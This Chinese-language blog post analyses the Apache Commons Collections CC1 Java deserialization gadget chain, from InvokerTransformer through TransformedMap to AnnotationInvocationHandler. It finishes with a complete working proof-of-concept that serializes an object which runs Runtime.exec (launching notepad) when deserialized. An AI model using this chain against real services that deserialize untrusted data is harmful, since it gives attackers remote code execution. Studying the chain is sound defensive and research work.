nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

java反序列化之cc1链之TransformerMap的分析

前言

开始分析

2024-02-28T11:32:04.png
这里我们选中Transformer,使用快捷键ctrl+alt+b,我们就可以快速查看使用了Transformer接口的类,因为我们知道InvokerTransformer是下一个节点,这里我们直接来到那里
2024-02-28T11:32:19.png
分析一下这个类

package org.apache.commons.collections.functors;

import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;

   
public class InvokerTransformer implements Transformer, Serializable { //实现了序列化的接口,这也是我们使用的基础

    /** The serial version */
    private static final long serialVersionUID = -8653385846894047688L;

    /** The method name to call */
    private final String iMethodName;
    /** The array of reflection parameter types */
    private final Class[] iParamTypes;
    /** The array of reflection arguments */
    private final Object[] iArgs;


    public static Transformer getInstance(String methodName) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        }
        return new InvokerTransformer(methodName);
    }
    public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        }
        if (((paramTypes == null) && (args != null))
                || ((paramTypes != null) && (args == null))
                || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
            throw new IllegalArgumentException("The parameter types must match the arguments");
        }
        if (paramTypes == null || paramTypes.length == 0) {
            return new InvokerTransformer(methodName);
        } else {
            paramTypes = (Class[]) paramTypes.clone();
            args = (Object[]) args.clone();
            return new InvokerTransformer(methodName, paramTypes, args);
        }
    }

    private InvokerTransformer(String methodName) { //构造器,但是不可以调用
        super();
        iMethodName = methodName;
        iParamTypes = null;
        iArgs = null;
    }

    //含参构造器,我们在外部调用类时需要用到
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { //参数为方法名,所调用方法的参数类型,所调用方法的参数值
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    //重写的transform方法
    public Object transform(Object input) { //接收一个对象
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();                               //可控的获取一个完整类的原型
            Method method = cls.getMethod(iMethodName, iParamTypes);    //可控的获取该类的某个特定方法
            return method.invoke(input, iArgs);                         //调用该类的方法
            //可以看到这里相当于是调用了我们熟悉的反射机制,来返回某个方法的利用值,这就是明显的利用点

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }


    }
}

看到后面的反射部分我们就可以发现里面的参数是我们可以控制的,我们可以利用这一点来实现rce
我们先看看如果我们只使用反射方法该如何rce

 Runtime r=Runtime.getRuntime();
 Class c=r.getClass();
 Method m=c.getMethod("exec", String.class);
 m.invoke(r,"calc");

那放入Invoker类中

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Main {
    public static void main(String[] args) {
        Runtime r=Runtime.getRuntime();
        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); //方法名为exec,参数类型为String,参数值为calc
        invokerTransformer.transform(r);
    }
}

成功弹出了计算器
这个就是我们的出口类,那我们就需要找到哪个不同的类调用了transform方法
这里我们随便找一个transform方法,右键选择查找用法
2024-02-28T11:52:42.png
按照经验,我们一般是首先map类,我们看到map的TransformedMap类
2024-02-28T11:59:02.png
我们审计一番代码,想要实例化这个类方法有两种,我们只能使用静态方法

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {//接受三个参数,第一个为Map,我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了,可控。
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

我们还可以发现它有许多方法,如果要触发transform,就需要触发transformvalue或者transformvaluekey或者checkvalue,但是这些都是保护方法,我们不能去用,发现唯一的public方法就是我们的put方法,但是put方法会调用我们的那些方法,我们选一个就ok,选value吧,只需要第三个参数为我们的involetransform对象就ok
很容易写出代码
2024-02-28T12:06:31.png
然后我们需要找谁调用了上面的三个方法,我们发现transformkey()和transformValue()只在本类中进行了调用,checkSetValue()方法只在抽象类AbstractInputCheckedMapDecorator的静态内部类MapEntry的setValue()方法中进行了调用

static class MapEntry extends AbstractMapEntryDecorator { //这里定义的是个副类MapEntry
  private final AbstractInputCheckedMapDecorator parent;

​    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
​        super(entry);
​        this.parent = parent;
​    }

​    public Object setValue(Object value) {
​        value = parent.checkSetValue(value);
​        return entry.setValue(value);
​    }
}

Entry代表的是Map中的一个键值对,而我们在Map中我们可以看到有setValue方法,而我们在对Map进行遍历的时候可以调用setValue这个方法

 package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) {
        Runtime r=Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"});
        HashMap<Object,Object> hash = new HashMap<>();
        hash.put('a','b');
        Map<Object,Object> decorate = TransformedMap.decorate(hash, null, invokerTransformer);

//这是Map的一种遍历的方法,通过获取键值对的方法
        for(Map.Entry entry:decorate.entrySet()) { //遍历Map常用格式
            entry.setValue(r);                       //调用setValue方法,并把对象r当作对象传入
        }
    }
}

常见疑惑解答:为什么我使用的是Map.Entry对象setValue,为什么会到MapEntry里面setValue方法?

因为我们发现Map.Entry是AbstractMapEntryDecorator类的接口,所以调用Map.Entry的setvalue就会调用AbstractMapEntryDecorator类的重写的setvalue方法,而这个类是MapEntry的父类,所以可以算他覆盖了父类中的该方法,因此最终会调用MapEntry类中覆盖的setValue()方法2024-02-29T05:24:29.png
2024-02-29T05:23:32.png
但是如果要在反序列化中实现我们需要入口类调用setvalue方法,我们查看谁调用了setvalue方法,发现AnnotationInvocationHandler,而且里面有readObject方法2024-02-28T12:31:59.png
这个类的代码
2024-02-28T12:32:32.png
发现readObject里面调用了membervalue的setvalue方法,而且membervalue可控,那其实我们的整个步骤就已经清晰了
但是有个问题,我们可以看到定义这个类时,并没有写明public之类的声明,所以说明这个类只能在sun.reflect.annotation这个本包下被调用,我们要想在外部调用,需要用到反射来解决: ,执行反序列化调用readobject,这个方法会调用menbervalue(我们设定为Abstractinputcheckmap..)的setvalue,
然后setvalue会调用(Transformad)的checkvalue会调用valuetransformed的trasform方法,然后就可以反射了
下面是图2024-02-28T12:42:03.png

package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Main { public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"});
        HashMap<Object,Object> hash = new HashMap<>();
        hash.put('a', 'b');
        Map<Object,Object> decorate = TransformedMap.decorate(hash, null, invokerTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Override.class, decorate);
        serialize(o);
        unserialize("java.txt");
    }



    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("java.txt"));
        oos.writeObject(object);
    }

    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

发现竟然不可以,这里有三个问题,我们一个一个来解决
因为我们是通过Runtime来执行恶意代码的,但是这个类不能序列化的,他没有序列化那个接口的,但是我们知道它的class对象可以序列化

解决:通过反射,因为Class对象可以序列化

我们正常的反射步骤

//相当于Runtime r = Runtime.getRuntimeMet()
Class c = Runtime.class;
Method getRuntimeMet = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMet.invoke(null, null);
 
//相当于r.exec('notepad')
Method execMet = c.getMethod("exec", String.class);
execMet.invoke(r, "notepad");

但是我们不能直接反射,我们可以通过InvokerTransformer

//相当于
/*
Class c = Runtime.class;
Method getRuntimeMet = c.getMethod("getRuntime", null);
*/
Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
 
 
//相当于
//Runtime r = (Runtime) getRuntimeMet.invoke(null, null);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);
 
//相当于
/*
Method execMet = c.getMethod("exec", String.class);
execMet.invoke(r, "notepad");
*/
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"}).transform(r);

但是这样还是太麻烦,我们有一个类ChainedTransformer2024-02-28T13:10:20.png会循环调用transform,把上一次的输出当作下一次的输入,我们可以这样

Transformer[] transformers = new Transformer[]{
//                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

首先创建一个数组对象,然后里面放入需要循环的invoketransform,最后创建chaintransform对象,将我们的数组做为参数传入

第二个问题
就是在AnnotationInvocationHandlerif条件判断必须为ture我们才能进入最后的调用setvalue方法
2024-02-28T13:37:55.png
第一个条件是要求我们的membertype不能没有,我们看来源
2024-02-28T13:48:22.png
type的值是Override,就是这里我们传进去
2024-02-28T13:48:47.png
getInstance,是获取它里面的成员方法,Override是没有成员方法的
然后下面memberTypes方法是返回一个Map<String, Class<?>>,我们只需要找一个注解里面有成员方法的就好了,比如2024-02-28T13:50:38.png然后我们改一下传入的overrride为Target,再运行会发现,这里的值变为空了,可以通过if判断,这个问题就算解决了
2024-02-28T13:51:51.png

然后第二个if是它实例化
第二个if表达的意思是若注解实例方法的返回类型不是键名对应的值的实例或者键名对应的值是ExceptionProxy的实例,则修改键名对应的值。显然第二个if很容易满足,第一个if只要遍历出来的TransformedMap的键名与所传入注解的方法名相同就满足

我们执行发现还是不行,因为在setValue的时候,我们传入的value值根本就不是我们需要的Runtime.class:
2024-02-28T13:58:37.png
怎么解决,我们必须让它返回的value为runtime,但是我们返回的value是不能控制的,我们有一个类 ConstantTransformer,它只会return我们定义的值,我们设为runtime.class,当我们触发他的transformers方法时,他就会返回Runtime.class
终于是完成了,然后我们这里给出2024-02-28T14:08:01.png

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
 
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
 
public class Serialcc {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
 
        //定义一系列Transformer对象,组成一个变换链    
        Transformer[] transformers = new Transformer[]{     
            //返回Runtime.class
            new ConstantTransformer(Runtime.class),  
            //通过反射调用getRuntime()方法获取Runtime对象
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),  
            //通过反射调用invoke()方法  
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    //通过反射调用exec()方法启动notepad
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
        };
 
        //将多个Transformer对象组合成一个链   
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
 
        HashMap<Object,Object> hash = new HashMap<>();
        //给HashMap添加一个键值对  
        hash.put("value",'b');
        //使用chainedTransformer装饰HashMap生成新的Map decorate   
        Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);   
 
        //通过反射获取AnnotationInvocationHandler类的构造方法  
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        //设置构造方法为可访问的  
        constructor.setAccessible(true);
        //通过反射调用构造方法,传入Target.class和decorate参数,创建代理对象o  
        Object o = constructor.newInstance(Target.class, decorate);    
 
        serialize(o); //定义了一个序列化的方法
        unserialize("1.bin"); //定义了一个反序列化的方法
    }
 
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }
 
    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }
    
}

                    

原文链接:https://blog.csdn.net/m0_64815693/article/details/130174363

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » java反序列化之cc1链之TransformerMap的分析

评论